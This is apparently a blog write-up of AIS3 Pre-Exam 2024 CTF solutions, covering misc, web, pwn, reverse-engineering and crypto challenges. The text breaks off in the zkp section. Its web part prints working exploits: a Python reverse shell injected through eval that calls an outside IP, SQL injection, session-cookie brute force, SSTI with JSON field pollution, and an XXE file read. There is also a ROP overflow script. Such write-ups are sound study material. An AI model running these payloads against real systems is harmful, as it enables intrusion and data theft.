--- title: AIS3 PRE EXAM 2024 Write Up date: 2023-05-25 10:25:30 tags: - CTF --- # AIS3 PRE EXAM 2024 Write Up ## Before all rk.2 !!! 打得很開心\>w\<b ![image](https://hackmd.io/_uploads/rkhuugsSR.png) ## Write Up ### Misc #### Welcome 直接送 :D ![image](https://hackmd.io/_uploads/Bk8gP0Cm0.png) #### Three Dimensional 解包後會看到一個封包檔,Follow TCP Stream會看到一坨 G CODE ![image](https://hackmd.io/_uploads/Sya2KzkV0.png) 最後貼去線上[NC VIEWER](https://ncviewer.com/)就可以拿FLAG: ![image](https://hackmd.io/_uploads/BJPlqzyVR.png) > Flag:AIS3{b4d1y_tun3d_PriN73r} #### Emoji Console 用emoji寫bash?! **Payload 1** ``` 🐱 ⭐ -> cat * ``` 獲得app.py以及emoji.json,可以做對照,同時知道flag是一個目錄。 ![image](https://hackmd.io/_uploads/r1AK8WeVC.png) **Payload 2** ``` 💿 🚩 😜 😶 🐱 ⭐ -> cd flag ;p :| cat * ``` 先cd flag,然後遇到;切割符,最後即便 p :| 是不具意義的執行依然不影響 cat\*。 找到flag-printer.py: ![image](https://hackmd.io/_uploads/SJGXPWeER.png) **Payload 3** 執行剛剛那隻程式就好: ``` 💿 🚩 😜 😶 🐍 ⭐ -> cd flag ;p :| python * ``` ![image](https://hackmd.io/_uploads/HJjHvblV0.png) > Flag:AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} #### Quantum Nim Heist 一個怪怪的Nim遊戲,正常玩必輸 玩了幾次,發現玩到後面如果在選單輸入`0 0`可以讓電腦亂走(?) 最後抓準時間認真玩就過了(出洞的點應該是輸入的時候沒有做範圍外判斷)。 ![image](https://hackmd.io/_uploads/Sk2wzDg4R.png) > Flag:AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} #### Hash Guesser 一個圖片上傳網站,會隨機生成一個16\*16的圖片,最後用這個函數去比對是否一樣: ```py from PIL import Image, ImageChops def is_same_image(img1: Image.Image, img2: Image.Image) -> bool: return ImageChops.difference(img1, img2).getbbox() == None ``` 其中,ImageChops.difference函數產生的資料大小是`min(img1, img2)`,這時候只要生成一個大小為一的影像就有1/2的機率過: **exp.py** ```py def generate_test_image(): image = Image.new("L", (1, 1), 0) return image ``` ![image](https://hackmd.io/_uploads/r1EbOY-NR.png) [Reference](https://pc-pillow.readthedocs.io/en/latest/ImageChops/ImageChops_difference.html) > Flag:AIS3{https://github.com/python-pillow/Pillow/issues/2982} ### Web #### Evil Calculator ```py from flask import Flask, request, jsonify, render_template app = Flask(__name__) @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run("0.0.0.0",5001) ``` 可以發現直接把東西丟到eval處理,但是要避開使用空格和底線`_` 在字串中可以利用`\x20`繞過空格限制 最後利用base64編碼以及 `exec` 的函數搭配 reverse shell payload進行RCE **exp.py** ```py import base64 import requests as req payload='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.113.193.219",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' payload=base64.b64encode(payload.encode()) payload=f'exec("import\\x20base64;exec(base64.b64decode({payload}))")' url='http://chals1.ais3.org:5001/calculate' web=req.post(url, json={"expression":payload}) print(web.text) ``` **result** ![image](https://hackmd.io/_uploads/BJGaz00QA.png) > Flag:AIS3{7RiANG13_5NAK3_I5_50_3Vi1} #### It's MyGO!!!!! 裸裸ㄉSQLI(boolean base) 二分搜開下去就好: 唯一要注意的是有UNICOODE字元,要搭配hex()函數 **exp.py** ```py import requests as req flag='' charset='0123456789ABCDEF' def test(number, char): url=f'http://chals1.ais3.org:11454/song?id=2 AND HEX(SUBSTRING(LOAD_FILE("/flag"), 1, {number}))>="{flag+char}"' web=req.get(url) return 'No Data' not in web.text while flag[-2:]!='7D': l, r=0, 16 while l+1<r: mid=(l+r)//2 #print(l, r) if test(len(flag)+1, charset[mid]): l=mid else: r=mid flag+=charset[l] if len(flag)%2==0: print(bytes.fromhex(flag)) print(bytes.fromhex(flag).decode('utf-8')) ``` > Flag:AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸} #### Login Panel Revenge Revenge **unintended solution warning** 從 `views.py` 中可以得知帳號密碼為admin/admin,而登入後還必須去`/2fa`輸入正確的2fa代碼才可以拿到flag,另外有一個`image`的函數可以取得`/loginPanel`目錄下的內容。 **views.py** ```py from django.shortcuts import render, redirect from django.http import HttpResponse import random from .forms import LoginForm, _2faForm import logging from base64 import b64decode import os # Create your views here. def index(request): return redirect(login) def login(request): if request.method == "POST": form = LoginForm(request.POST) if not form.is_valid(): return redirect(f'/login?error=Invalid CAPTCHA') if (form.cleaned_data["username"] == "admin" and form.cleaned_data["password"] == "admin"): request.session["username"] = "admin" request.session["2fa_passed"] = False code = random.randint(100000, 2**1024) request.session["2fa_code"] = code logging.warning(f'2FA code: {code}') return redirect(_2fa) return redirect(f'/login?error=Invalid username/password') return render(request, "login.html", {"error": request.GET.get("error"), 'form': LoginForm()}) def _2fa(request): if not request.session.get("username"): return redirect("/login") if request.session.get("2fa_passed"): return redirect("/dashboard") if request.method == "POST": form = _2faForm(request.POST) if not form.is_valid(): return redirect(f'https://www.youtube.com/watch?v=W8DCWI_Gc9c') code = request.session.get("2fa_code") if form.cleaned_data['code'] == str(code): request.session["2fa_passed"] = True return redirect("/dashboard") return redirect("/2fa?error=Invalid code") return render(request, "2fa.html", {"error": request.GET.get("error")}) def dashboard(request): if not request.session.get("username"): return redirect(login) if not request.session.get("2fa_passed"): return redirect(login) FLAG = os.environ.get("FLAG") return render(request, "dashboard.html", {"username": request.session.get("username"), "FLAG": FLAG}) def image(request): # return the b64decoded image of file parameter path = request.GET.get("file") if not path: return HttpResponse("No file specified", status=400) path = b64decode(path).decode() path = os.path.join('/loginPanel', path) path = os.path.normpath(path) # prevent directory traversal if not path.startswith('/loginPanel'): return HttpResponse("Invalid file", status=400) # read the file with open(path, 'rb') as f: data = f.read() # return the file return HttpResponse(data, content_type="image/png") def logout(request): request.session.flush() return redirect(login) ``` 再去看`settings.py`中這一段: ```py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } ``` 結合剛剛`views.py`中`image`的函數,可以下載`db.sqlite3`下來: ```bash wget http://chals1.ais3.org:36743/image/?file=ZGIuc3FsaXRlMw== -O db.sqlite3 ``` 接著利用腳本讀取db.sqlite3: **checksql.py** ```py #!/bin/python3 import sqlite3 import argparse import os def print_sql_content(database_file): os.system(f'if [ -f "{database_file}" ]; then echo "File exists: {database_file}";fi') try: conn = sqlite3.connect(database_file) cursor = conn.cursor() cursor.execute("SELECT name FROM sqlite_master WHERE type='table';") tables = cursor.fetchall() for table in tables: table_name = table[0] print(f"Table: {table_name}") cursor.execute(f"SELECT * FROM {table_name};") rows = cursor.fetchall() for row in rows: print(row) conn.close() except sqlite3.Error as e: print("SQLite error:", e) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Print the content of an SQLite3 database file.") parser.add_argument("--sql", type=str, help="Path to the SQLite3 database file, usage: --sql=blog.sql", required=True) args = parser.parse_args() print_sql_content(args.sql) ``` ![image](https://hackmd.io/_uploads/rJInHNx4C.png) 其中,`django_session`的Table存放了所有session,結合目前已經有一個選手解出這題,當中必然有一個session是被認證過的,把所有session彙整到wordlist.txt後寫腳本暴力即可獲得flag: **exp.py** ```py import os f=open('wordlist.txt', 'r') wordlist=f.read().split('\n') for i in wordlist: text=os.popen(f'curl -i http://chals1.ais3.org:36743/dashboard/ --cookie "sessionid={i}"').read() if '/login/' not in text: print(text) print(i) ``` ![image](https://hackmd.io/_uploads/ByCuBVg4R.png) > Flag:AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!!!} #### Capoost 一個黑箱的web題,登入後經過嘗試會發現讀取模板的參數有LFI,嘗試讀取Dockerfile: `/template/read?name=../Dockerfile` ```dockerfile FROM golang:1.19 as builder LABEL maintainer="Chumy" RUN apt install make COPY src /app COPY Dockerfile-easy /app/Dockerfile WORKDIR /app RUN make clean && make && make readflag && \ mv bin/readflag /readflag && \ mv fl4g1337 /fl4g1337 && \ chown root:root /readflag && \ chmod 4555 /readflag && \ chown root:root /fl4g1337 && \ chmod 400 /fl4g1337 && \ touch .env && \ useradd -m -s /bin/bash app && \ chown -R app:app /app USER app ENTRYPOINT ["./bin/capoost"] ``` 發現網站是由GoLANG寫成的,嘗試讀取`main.go`: `/template/read?name=../main.go` ```go package main import ( // "net/http" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/go-errors/errors" "capoost/router" "capoost/utils/config" // "capoost/utils/database" "capoost/utils/errutil" "capoost/middlewares/auth" ) ``` 注意到每個.go的檔案都會有import,就可以從這裡面找到需要的檔案路徑位置。 **Login Bypass** 注意到`models/user/user.go`中的init()以及Login()函數 ```go func init() { const adminname = "4dm1n1337" database.GetDB().AutoMigrate(&User{}) if _, err := GetUser(adminname); err == nil { return } buf := make([]byte, 12) _, err := rand.Read(buf) if err != nil { log.Panicf("error while generating random string: %s", err) } User{ //ID: 1, Username: adminname, Password: password.New(base64.StdEncoding.EncodeToString(buf)), }.Create() } func (user User) Login() bool { if user.Username == "" { return false } if _, err := GetUser(user.Username); err == nil { var loginuser User result := database.GetDB().Where(&user).First(&loginuser) return result.Error == nil } return user.Create() == nil } ``` 可以得到兩個訊息: 1. 管理員名稱是`4dm1n1337` 2. 管理登入的函數動用到sql的部分接受傳入空資料 關於第二點,可以透過[這篇文章](https://xz.aliyun.com/t/13870?time__1311=mqmxnQG%3DKQTqlxGgx%2BxCq%3DOOO4xWuhD&alichlgref=https%3A%2F%2Fwww.google.com%2F)找到利用細節,會返回第一個元素,也就是ID=1的管理員帳號 ![image](https://hackmd.io/_uploads/SJ7GYa-ER.png) ![image](https://hackmd.io/_uploads/HyEQFTZVC.png) **SSTI** 觀察`router/template/template.go` ```go func Init(r *gin.RouterGroup) { router = r router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload) router.GET("/list", auth.CheckSignIn, list) router.GET("/read", auth.CheckSignIn, read) } func upload(c *gin.Context) { reg := regexp.MustCompile(`[^a-zA-Z0-9]`) template := c.PostForm("template") name := reg.ReplaceAllString(c.PostForm("name"), "") f, err := os.Create(path.Clean(path.Join("./template", name))) if err != nil { panic(err) } _, err = f.WriteString(template) if err != nil { panic(err) } c.String(200, "Upload success") } ``` 可以利用剛剛拿到的admin上傳template進行SSTI,但是GO SSTI只在內建或者已定義函數的情況下成立,不過剛好有一個gadget在`post.go`: ```go func read(c *gin.Context) { postid, err := strconv.Atoi(c.DefaultQuery("id", "0")) if err != nil { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid ID", }) } nowpost, err := post.GetPost(uint(postid)) if err != nil { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid ID", }) } t := template.New(nowpost.Template) if nowpost.Owner.ID == 1 { t = t.Funcs(template.FuncMap{ "G1V3m34Fl4gpL34s3": readflag, }) } t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template))) b := new(bytes.Buffer) if err = t.Execute(b, nowpost.Data); err != nil { panic(err) } nowpost.Count++ sum := 0 posts, _ := post.GetAllPosts() for _, now := range posts { if nowpost.ID == now.ID { sum += nowpost.Count } else { sum += now.Count } } var percent int if sum != 0 { percent = (nowpost.Count * 100) / sum } else { errutil.AbortAndError(c, &errutil.Err{ Code: 500, Msg: "Sum of post count can't be 0", }) } if strings.Contains(b.String(), "AIS3") { errutil.AbortAndError(c, &errutil.Err{ Code: 403, Msg: "Flag deny", }) } nowpage := page{ Data: b.String(), Count: nowpost.Count, Percent: percent, } c.JSON(200, nowpage) database.GetDB().Save(&nowpost) } func readflag() string { out, _ := exec.Command("/readflag").Output() return strings.Trim(string(out), " \n\t") } ``` 由裡面的FuncMap得知,如果template解析到`G1V3m34Fl4gpL34s3`,而且貼出來的人是管理員,那它會噴flag出來。 有兩個小問題,第一個是禁止把AIS3這幾個字母帶出來,但可以用GO內建的slice函數繞過,所以打進去的template應該要是:`{{slice G1V3m34Fl4gpL34s3 2}}` 第二個問題是`/post/create`有禁止管理員造訪: ```go func Init(r *gin.RouterGroup) { router = r router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create) router.GET("/list", auth.CheckSignIn, list) router.GET("/read", auth.CheckSignIn, read) } ``` **json serialization pollution** 為了解決剛剛的問題,仔細觀察`router/post/post.go`以及`models/post/post.go` ```go type postjson struct { ID uint `json:"id"` Title string `json:"title"` Owner string `json:"owner"` Template string `json:"template"` Data PostDataMap `json:"data"` Count int `json:"count"` } func create(c *gin.Context) { userdata, _ := c.Get("user") postdata := post.Post{ Owner: userdata.(user.User), } err := c.ShouldBindJSON(&postdata) if err != nil || postdata.Title == "" { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid Post", }) return } reg := regexp.MustCompile(`[^a-zA-Z0-9]`) postdata.Template = reg.ReplaceAllString(postdata.Template, "") if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template))); path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") || errors.Is(err, os.ErrNotExist) { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid Post", }) return } postdata.Create() c.String(200, "Post success") } ``` 發現序列化綁成json的時候會把所有參數直接吃進去,而"owner"字串正好就可以由一般使用者發文後渲染成`4dm1n1337`。 像這樣: ```json {"title":"pwned by whale120", "owner":"4dm1n1337", "template":"womp", "data":{} } ``` **exp.py** ```py import argparse import requests as req from pwn import info cur_id=1 def check_cur_id(): global cur_id bad_response=req.get(url+'/post/read?id=-1', cookies=user_cookies).text while req.get(url+f'/post/read/?id={cur_id}', cookies=user_cookies).text != bad_response: cur_id+=1 def login_user(username, password): data={"username":username, "password":password} cookies={} cookies['session']=req.post(url+'/user/login', json=data).headers['Set-Cookie'].split(';')[0].replace('session=', '') return cookies def upload_template(): payload='{{slice G1V3m34Fl4gpL34s3 4}}' data={'template':payload, 'name':'womp'} req.post(url+'/template/upload', data=data, cookies=admin_cookies) def read_flag(): payload={"title":"pwned by whale120","owner":"4dm1n1337","template":"womp","data":{}} web=req.post(url+'/post/create', json=payload, cookies=user_cookies) flag=req.get(url+f'/post/read?id={cur_id}', cookies=user_cookies).json()["data"] info(f'Flag : AIS3{flag}') if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit Capooooooooost!!!") parser.add_argument("--url", type=str, help="The target capoost base url.", required=True) args = parser.parse_args() url=args.url if url[-1]=='/': url=url[:-1] user_cookies=login_user('whale120', 'whale120') admin_cookies=login_user('4dm1n1337', '') info('Login Success') check_cur_id() info(f'Current post id = {cur_id}') upload_template() info('Template Uploaded') read_flag() ``` ![image](https://hackmd.io/_uploads/BkAvY6bNR.png) > Flag:AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(} #### Ebook Parser **app.py** ```py import tempfile import pathlib import secrets from os import getenv, path import ebookmeta from flask import Flask, request, jsonify from flask.helpers import send_from_directory app = Flask(__name__, static_folder='static/') app.config['JSON_AS_ASCII'] = False app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024 @app.route('/', methods=["GET"]) def index(): return send_from_directory('static', 'index.html') @app.route('/parse', methods=["POST"]) def upload(): if 'ebook' not in request.files: return jsonify({'error': 'No File!'}) file = request.files['ebook'] with tempfile.TemporaryDirectory() as directory: suffix = pathlib.Path(file.filename).suffix fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}") file.save(fp) app.logger.info(fp) try: meta = ebookmeta.get_metadata(fp) return jsonify({'message': "\n".join([ f"Title: {meta.title}", f"Author: {meta.author_list_to_string()}", f"Lang: {meta.lang}", ])}) except Exception as e: print(e) return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500 if __name__ == "__main__": port = getenv("PORT", 8888) app.run(host="0.0.0.0", port=port) ``` 上github挖到了這個issue:[https://github.com/dnkorpushov/ebookmeta/issues/16](https://github.com/dnkorpushov/ebookmeta/issues/16) payload改一下上傳就拿到flagㄌ **exp.fb2** ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///flag" >]> <FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> <description> <title-info> <genre>antique</genre> <author><first-name></first-name><last-name>&xxe;</last-name></author> <book-title>&xxe;</book-title> <lang>&xxe;</lang> </title-info> <document-info> <author><first-name></first-name><last-name>Unknown</last-name></author> <program-used>calibre 6.13.0</program-used> <date>26.5.2024</date> <id>eb5cbf82-22b5-4331-8009-551a95342ea0</id> <version>1.0</version> </document-info> <publish-info> </publish-info> </description> <body> <section> <p>&lt;root&gt;</p> <p>12345</p> <p>&lt;/root&gt;</p> </section> </body> </FictionBook> ``` ![image](https://hackmd.io/_uploads/HJMOssbEA.png) > Flag: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default} ### Pwn #### Mathter 在main函數中會先進入calculator的函數: ![image](https://hackmd.io/_uploads/HyuWJ11EC.png) 輸入q就可以略過 略過後會進到 goodbye 的函數,這邊使用`gets`函數而出現了 Buffer Overflow的洞: ![image](https://hackmd.io/_uploads/SJAMkJJ4C.png) 大小為4 而這個程式結尾沒有__stack__chk__fail,所以不需要繞過保護。 接著觀察程式,發現win1和win2的函數,分別把flag切成前半以及後半段: **win1** ![image](https://hackmd.io/_uploads/BkDskJJNR.png) **win2** ![image](https://hackmd.io/_uploads/rJS2k11NR.png) 可是要讓`a1`變成他們分別要求的數字,利用radare2做觀察: ![image](https://hackmd.io/_uploads/Bk5A1JJNC.png) arg在rdi上面,最後只需加上pop rdi的gadget改掉rdi值就可以跳過去拿到flag。 ![image](https://hackmd.io/_uploads/BJn7g1kNC.png) 最後採用兩次連線的方法前後拿到flag並組合: **exp.py** ```py from pwn import * context.arch='amd64' #rop=ROP('./mathter') #r=process('./mathter') # datas win1=0x004018c5 win2=0x00401997 key1=0xDEADBEEF key2=0xCAFEBABE pop_rdi=0x402540 # exploit r=remote('chals1.ais3.org', 50001) r.sendline(b'q') r.sendline(b'Y'*12+p64(pop_rdi)+p64(key1)+p64(win1)) print(r.recvall().decode()) r.close() r=remote('chals1.ais3.org', 50001) r.sendline(b'q') r.sendline(b'Y'*12+p64(pop_rdi)+p64(key2)+p64(win2)) print(r.recvall().decode()) r.close() ``` > Flag:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ### Rev #### The Long Print 直接運行程式會發現跑很久,以ida打開發現有sleep,先把秒數patch成0 **before** ![image](https://hackmd.io/_uploads/BJmXFy1VC.png) **after** ![image](https://hackmd.io/_uploads/SJTXFJk4C.png) 接著會發現每次輸出都會被fflush刪除flag內容,利用strace指令去追蹤: ```bash strace ./flag-printer-dist ``` ![image](https://hackmd.io/_uploads/H1zvtyyNR.png) 最後再一個個撿回來拼就好: > Flag:AIS3{You_are_the_master_of_time_management!!!!?} #### 火拳のエース 一個密碼檢查程式,先看ghidra結果: **print_flag()** ```c void print_flag(void) { int local_14; __useconds_t local_10; printf( "What I\'m about to say. Old Man... Everyone... And you, Luffy... Even though... I\'m so wor thless... Even though... I carry the blood of a demon... Thank you... For loving me\nThe fla g is " ); local_10 = 2000000; usleep(2000000); for (local_14 = 0; (&DAT_0804a008)[local_14] != '\0'; local_14 = local_14 + 1) { usleep(local_10); printf("%c ",(int)(char)(&DAT_0804a008)[local_14]); fflush(stdout); local_10 = local_10 << 1; } usleep(local_10); puts("\n...uh, the rest, I\'ve forgotten it. Do you remember the rest of it?"); return; } ``` 再去翻殘留資料段可以拿到前面的flag:`AIS3{G0D`(或者直接跑起來) ![image](https://hackmd.io/_uploads/BJlUsfJEA.png) **main** ```c undefined4 main(void) { char cVar1; uint __seed; int iVar2; int local_14; __seed = time((time_t *)0x0); srand(__seed); buffer0 = (char *)malloc(9); buffer1 = (char *)malloc(9); buffer2 = (char *)malloc(9); buffer3 = (char *)malloc(9); memset(buffer0,0,9); memset(buffer1,0,9); memset(buffer2,0,9); memset(buffer3,0,9); print_flag(); __isoc99_scanf("%8s %8s %8s %8s",buffer0,buffer1,buffer2,buffer3); xor_strings(buffer0,&DAT_0804a163,buffer0); xor_strings(buffer1,&DAT_0804a16c,buffer1); xor_strings(buffer2,&DAT_0804a175,buffer2); xor_strings(buffer3,&DAT_0804a17e,buffer3); for (local_14 = 0; local_14 < 8; local_14 = local_14 + 1) { cVar1 = complex_function((int)buffer0[local_14],local_14); buffer0[local_14] = cVar1; cVar1 = complex_function((int)buffer1[local_14],local_14 + 0x20); buffer1[local_14] = cVar1; cVar1 = complex_function((int)buffer2[local_14],local_14 + 0x40); buffer2[local_14] = cVar1; cVar1 = complex_function((int)buffer3[local_14],local_14 + 0x60); buffer3[local_14] = cVar1; } iVar2 = strncmp(buffer0,"DHLIYJEG",8); if (iVar2 == 0) { iVar2 = strncmp(buffer1,"MZRERYND",8); if (iVar2 == 0) { iVar2 = strncmp(buffer2,"RUYODBAH",8); if (iVar2 == 0) { iVar2 = strncmp(buffer3,"BKEMPBRE",8); if (iVar2 == 0) { puts("Yes! I remember now, this is it!"); goto LAB_08049869; } } } } puts("It feels slightly wrong, but almost correct..."); LAB_08049869: free(buffer0); free(buffer1); free(buffer2); free(buffer3); return 0; } ``` 其中,`xor_strings`就真的是xor兩個字串,再去看`complex_function` **complex_function()** ```c int complex_function(int param_1,int param_2) { int iVar1; int local_10; if ((0x40 < param_1) && (param_1 < 0x5b)) { local_10 = (param_1 + -0x41 + param_2 * 0x11) % 0x1a; iVar1 = param_2 % 3 + 3; param_2 = param_2 % 3; if (param_2 == 2) { local_10 = ((local_10 - iVar1) + 0x1a) % 0x1a; } else if (param_2 < 3) { if (param_2 == 0) { local_10 = (local_10 * iVar1 + 7) % 0x1a; } else if (param_2 == 1) { local_10 = (iVar1 * 2 + local_10) % 0x1a; } } return local_10 + 0x41; } puts("It feels slightly wrong, but almost correct..."); /* WARNING: Subroutine does not return */ exit(1); } ``` 最後,把`complex_function`寫成py,暴力炸出每一位後再把資料段挖出來做xor就結束~ **exp.py** ```py from Crypto.Util.number import * from pwn import * def complex_function(a1, a2): v8 = (17 * a2 + a1 - 65) % 26 v7 = a2 % 3 + 3 v2 = a2 % 3 if a2 % 3 == 2: v8 = (v8 - v7 + 26) % 26 elif v2 <= 2: if v2: if v2 == 1: v8 = (2 * v7 + v8) % 26 else: v8 = (v7 * v8 + 7) % 26 return v8 + 65 flag=[0]*32 key1=long_to_bytes(0x0E0D7D060F177604) key2=long_to_bytes(0x6D001B7C6C136211) key3=long_to_bytes(0X1E7E061307660E71) key4=long_to_bytes(0X17141D7079677433) key=key1+key2+key3+key4 ans1="DHLIYJEG" ans2="MZRERYND" ans3="RUYODBAH" ans4="BKEMPBRE" ans=[ans1, ans2, ans3, ans4] for i in range(8): for j in range(4): for k in range(65, 91): if complex_function(k, i+j*32)==ord(ans[j][i]): flag[i+j*8]=k # print(xor(flag, 0)) # print(xor(flag, key)) print(b'AIS3{G0D'+xor(flag, key)) ``` > Flag:AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} ### Crypto #### babyRSA **babyRSA.py** ```py import random from Crypto.Util.number import getPrime from secret import flag def gcd(a, b): while b: a, b = b, a % b return a def generate_keypair(keysize): p = getPrime(keysize) q = getPrime(keysize) n = p * q phi = (p-1) * (q-1) e = random.randrange(1, phi) g = gcd(e, phi) while g != 1: e = random.randrange(1, phi) g = gcd(e, phi) d = pow(e, -1, phi) return ((e, n), (d, n)) def encrypt(pk, plaintext): key, n = pk cipher = [pow(ord(char), key, n) for char in plaintext] return cipher def decrypt(pk, ciphertext): key, n = pk plain = [chr(pow(char, key, n)) for char in ciphertext] return ''.join(plain) public, private = generate_keypair(512) encrypted_msg = encrypt(public, flag) decrypted_msg = decrypt(private, encrypted_msg) print("Public Key:", public) print("Encrypted:", encrypted_msg) # print("Decrypted:", decrypted_msg) ``` 簡單觀察,會發現對於每個字母c,都有唯一對應的名文,所以先枚舉0~255的case建表以後再把output轉回去就好。 **exp.py** ```py e, n=(64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859... table={} for i in range(256): table[pow(i, e, n)]=i enc=[595829831363684348568167997333134467464337960343847242211744244649697378748021161293486079793280988417... flag='' for i in enc: flag+=chr(table[i]) print(flag) ``` > Flag:AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} #### easyRSA **easyRSA.py** ```py #!/bin/python3 import random from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes from hashlib import sha256 from base64 import b64encode, b64decode from secret import flag import signal def alarm(second): # This is just for timeout. # It should not do anything else with the challenge. def handler(signum, frame): print('Timeout!') exit() signal.signal(signal.SIGALRM, handler) signal.alarm(second) def gcd(a, b): while b: a, b = b, a % b return a def generate_keypair(keysize): p = getPrime(keysize) q = getPrime(keysize) n = p * q phi = (p-1) * (q-1) e = random.randrange(1, phi) g = gcd(e, phi) while g != 1: e = random.randrange(1, phi) g = gcd(e, phi) d = pow(e, -1, phi) # for CRT optimize dP = d % (p-1) dQ = d % (q-1) qInvP = pow(q, -1, p) return ((e, n), (dP, dQ, qInvP, p, q)) def verify(pk, message: bytes, signature: bytes): e, n = pk data = bytes_to_long(sha256(message).digest()) return data == pow(bytes_to_long(signature), e, n) bug = lambda : random.randrange(0, 256) def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) if __name__ == "__main__": alarm(300) public, private = generate_keypair(512) print(""" *********************************************************** Have you heard CRT optimization for RSA? I have implemented a CRT-RSA signature. However, there are bugs in my code... --------------------------------------------------------- 1) Print public key. 2) Sign a message. 3) Give me flag? 4) Bye~ *********************************************************** """) for _ in range(5): try: option = input("Option: ") if int(option) == 1: print('My public key:') print(f"e, n = {public}") elif int(option) == 2: message = input("Your message (In Base64 encoded): ") message = b64decode(message.encode()) if b"flag" in message: print(f"No, I cannot give you the flag!") else: signature = sign(private, message) signature = b64encode(signature) print(f"Signature: {signature}") elif int(option) == 3: signature = input("Your signature (In Base64 encoded): ") signature = b64decode(signature.encode()) message = b64encode(b"Give me the flag!") if verify(public, message, signature): print(f"Well done! Here is your flag :{flag}") else : print("Invalid signature.") else: print("Bye~~~~~") break except Exception as e: print(e) print("Something wrong?") exit() ``` 重點觀察`sign()` ```py def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) ``` 兩次丟一樣的東西進去的結果會不一樣(因為有`bug()`),但因為`bug()`的值不大,導致兩次結果會十分接近,並且`k`值很高機率不同,所以可以嘗試兩者相減後減1~256的結果與n的最大公因數,大於1者即找到`q`的值。 **exp.py** ```py from Crypto.Util.number import * from base64 import * from hashlib import sha256 import math n=int(input('n:')) e=int(input('e:')) c1=bytes_to_long(b64decode(input('c1:'))) c2=bytes_to_long(b64decode(input('c2:'))) diff=abs(c1-c2) for i in range(0, 256): if math.gcd(diff-i, n) > 1: q=math.gcd(diff-i, n) print('Found') print(q) p=n//q phi=(p-1)*(q-1) d=inverse(e, phi) data=b64encode(b"Give me the flag!") data=bytes_to_long(sha256(data).digest()) data=long_to_bytes(pow(data, d, n)) print(b64encode(data)) ``` ![image](https://hackmd.io/_uploads/BJqQ6iWNA.png) > Flag:AIS3{IJustWantItFasterQAQ} #### zkp **zkp.py** ```py #!/bin/python3 import random from secret import flag from Crypto.Util.number import bytes_to_long, getPrime, isPrime import signal def alarm(second): # This is just for timeout. # It should not do anything else with the challenge. def handler(signum, frame): print('Timeout!') exit() signal.signal(signal.SIGALRM, handler) signal.alarm(second) def gen_prime(n): while True: p = 1 while p < (1 << (n - 1)) : p *= getPrime(5) p = p * 2 + 1 if isPrime(p): break return p def zkp_protocol(p, g, sk): # y = pow(g, sk, p) r = random.randrange(p-1) a = pow(g, r, p) print(f'a = {a}') print('Give me the challenge') try: c = int(input('c = ')) w = (c * sk + r) % (p-1) print(f'w = {w}') # you can verify I know the flag with # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p) except: print('Invalid input.') if __name__ == "__main__": alarm(300) assert len(flag) == 60 p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 # p is generated by gen_prime(1024) g = 5 y = pow(g, bytes_to_long(flag), p) print(""" ****************************************************** Have you heard of Zero Knowledge Proof? I cannot give you the flag, but I want to show you I know the flag. So, let me show you with ZKP. ------------------------------------------------------ 1) Printe public key. 2) Run ZKP protocol. 3) Bye~ ****************************************************** """) for _ in range(3): try: option = input("Option: ") if int(option) == 1: print('My public key:') print(f'p = {p}') print(f'g = {g}') print(f'y = {y}') elif int(option) == 2: zkp_protocol(p, g, bytes_to_long(flag)) else: print("Bye~~~~~") break 